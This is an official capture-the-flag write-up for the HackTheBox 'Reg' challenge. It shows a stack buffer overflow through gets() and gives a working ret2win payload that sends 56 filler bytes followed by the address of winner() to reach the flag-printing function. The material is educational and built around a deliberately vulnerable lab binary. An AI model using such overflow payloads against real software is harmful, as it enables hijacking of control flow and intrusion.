



# HACKTHEBOX



## Reg

7<sup>th</sup> October 2022 / Document No.  
D22.102.234

Prepared By: w3th4nds

Challenge Author(s): felamos

Difficulty: **Easy**

Classification: Official

## Synopsis

---

Reg is an Easy challenge that features a buffer overflow vulnerability, enabling the attacker to control the program flow and make calls to functions otherwise unreachable.

## Skills Required

---

- Basic debugging skills

## Skills Learned

---

- Exploiting buffer overflows and making function calls through them

## Enumeration

---

### Protections

First off, let's start by checking the binary's applied protections, getting an idea of what we **can** and **can't** do in this challenge.

We will be using `checksec` to do that:

```
checksec reg

Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
```

Since this is an intro challenge, we will be going through what these protections essentially mean:

- `Canary`: Stack canaries are a buffer overflow protection mechanism, and a bit more advanced than the scope of this writeup aims to be. But since they are disabled, we know we can do our buffer overflows basically carefree.
- `NX`: When enabled, this prevents us from executing shellcode on the stack.
- `PIE`: Position Independent Executable. When enabled, the binary itself will sit at a semi-random offset in virtual memory. In that case, the binary's base address will need to be leaked in order to make use of its functions and gadgets.
- `RELRO`: When in **partial or disabled** mode, we can overwrite GOT and PLT table addresses. This is useful when we have an arbitrary write primitive. If it's in **full** RELRO mode, we are denied overwriting data on these tables, but can still read from them.

Running the binary, we are greeted with a simple interface, asking us to input our name:

```
Enter your name : w3th4nds
Registered!
```

Then it terminates. Not much to see here.

## Disassembly

For this stage, we are going to use a `reverse engineering` tool such as `Ghidra` or `IDA`, in order to examine the `assembly` instructions making this binary tick, and also generate `C-like pseudocode` to make our life easier.

`main()` only makes a call to `run()`, so let's take a look into that:

```

void run(void)
{
    char local_38 [48];

    initialize();
    printf("Enter your name : ");
    gets(local_38);
    puts("Registered!");
    return;
}

```

A 48-byte char buffer is declared, and `gets()` is being used in order to read our input into the buffer - take note of this. After that, the function returns.

Looking at the list of functions within the binary, we can also spot a `winner()` function:

```

void winner(void)
{
    char local_418 [1032];
    FILE *local_10;

    puts("Congratulations!");
    local_10 = fopen("flag.txt", "r");
    fgets(local_418, 0x400, local_10);
    puts(local_418);
    fclose(local_10);
    return;
}

```

As the name suggests, this gives us the flag, by reading it into a buffer and printing it for us. As there is no way for the binary to reach the `winner()` function, we will be looking to make a call to it by taking control of the program flow.

## Exploitation

`gets()` is regarded as a dangerous function, due to the fact that it reads in bytes, **without a size limit**.

This way, our input can potentially `overflow` the buffer's allocated space on the stack, and overwrite crucial data.

Overflow with enough bytes, and you will overwrite the program's saved `RIP` register, which contains the address of the next instruction, below the `call` instruction, so the program returns at the proper instruction.

The objective will be to place the `winner()`'s function address in `RIP`, thus making a call to it when the next `return` hits, and getting the flag.

Two things left to do:

- Calculate the offset from our input to the point where we start overwriting `RIP`
- Prepare the `winner()`'s function address according to the binary's architecture.

For calculating the offset, we will generate a pattern and overflow the buffer using it.

In the following `Segfault`, take note of the bytes overwriting the `RIP` register.



```
pwndbg> cyclic 100  
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaanaaaooaaapaaaqaaaraa  
asaaataaauaaavaaawaaaxaaayaaa
```

```
Enter your name :
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaaajaaakaaalaaamaaaanaaaooaaapaaaqaaaraaas
aaataaaauaaaavaaaawaaaxaaayaaa
Registered!
```

Program received signal SIGSEGV, Segmentation fault.

0x00000000004012ac in run ()

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

```
-----[ REGISTERS ]-----
RAX 0xc
RBX 0x0
RCX 0x7ffff7e96a37 (write+23) ← cmp    rax, -0x1000 /* 'H=' */
RDX 0x1
RDI 0x7ffff7f9da70 (_IO_stdfile_1_lock) ← 0x0
RSI 0x1
R8 0xb
R9 0x0
R10 0x7ffff7d8f0c8 ← 0xf0022000065de
R11 0x246
R12 0x7ffffffffffdf8 → 0x7ffffffffffe34d ← '/home/hax/htb/pwn_retired/reg'
R13 0x4012ad (main) ← push    rbp
R14 0x0
R15 0x7ffff7ffd040 (_rtld_global) → 0x7ffff7ffe2e0 ← 0x0
RBP 0x6161616e6161616d ('maaaaaa')
RSP 0x7ffffffffffded8 ← 'aaaapaaaqaaaraaasaaataaaauaaaavaaaawaaaxaaayaaa'
RIP 0x4012ac (run+66) ← ret
-----[ DISASM ]-----
► 0x4012ac <run+66>      ret     <0x616161706161616f>
```

```
-----[ STACK ]-----
00:0000| rsp 0x7ffffffffffded8 ←
'aaaapaaaqaaaraaasaaataaaauaaaavaaaawaaaxaaayaaa'
01:0008|      0x7ffffffffffdee0 ← 'qaaaraasaaataaaauaaaavaaaawaaaxaaayaaa'
02:0010|      0x7ffffffffffdee8 ← 'saaataaaauaaaavaaaawaaaxaaayaaa'
03:0018|      0x7ffffffffffdef0 ← 'uaaavaaaawaaaxaaayaaa'
04:0020|      0x7ffffffffffdef8 ← 'waaaxaaayaaa'
05:0028|      0x7ffffffffffdf00 ← 0x61616179 /* 'yaaa' */
06:0030|      0x7ffffffffffdf08 → 0x7ffffffffffdf8 → 0x7ffffffffffe34d ←
'/home/hax/htb/pwn_retired/reg'
07:0038|      0x7ffffffffffdf10 ← 0x0
```

```
-----[ BACKTRACE ]-----
► f 0      0x4012ac run+66
f 1 0x616161706161616f
f 2 0x6161617261616171
f 3 0x6161617461616173
f 4 0x6161617661616175
f 5 0x6161617861616177
f 6      0x61616179
f 7      0x7ffffffffffdf8
```

pwndbg> cyclic -o oaaa

So, the **offset is 56**.

Within `gdb`, we see the `winner()` function address is `0x0000000000401206`.

The architecture is `64-bit little-endian`, so the byte order needs to be reversed, like so:

```
0x0000000000401206 --> "\x06\x12\x40\x00\x00\x00\x00\x00"
```

Finally, putting everything together, our payload will look something like this:

**Python3:**

```
payload = b'A' * 56 + b'\x06\x12\x40\x00\x00\x00\x00\x00'
```

## Solution



```
Enter your name : Registered!  
Congratulations!  
HTB{*****}
```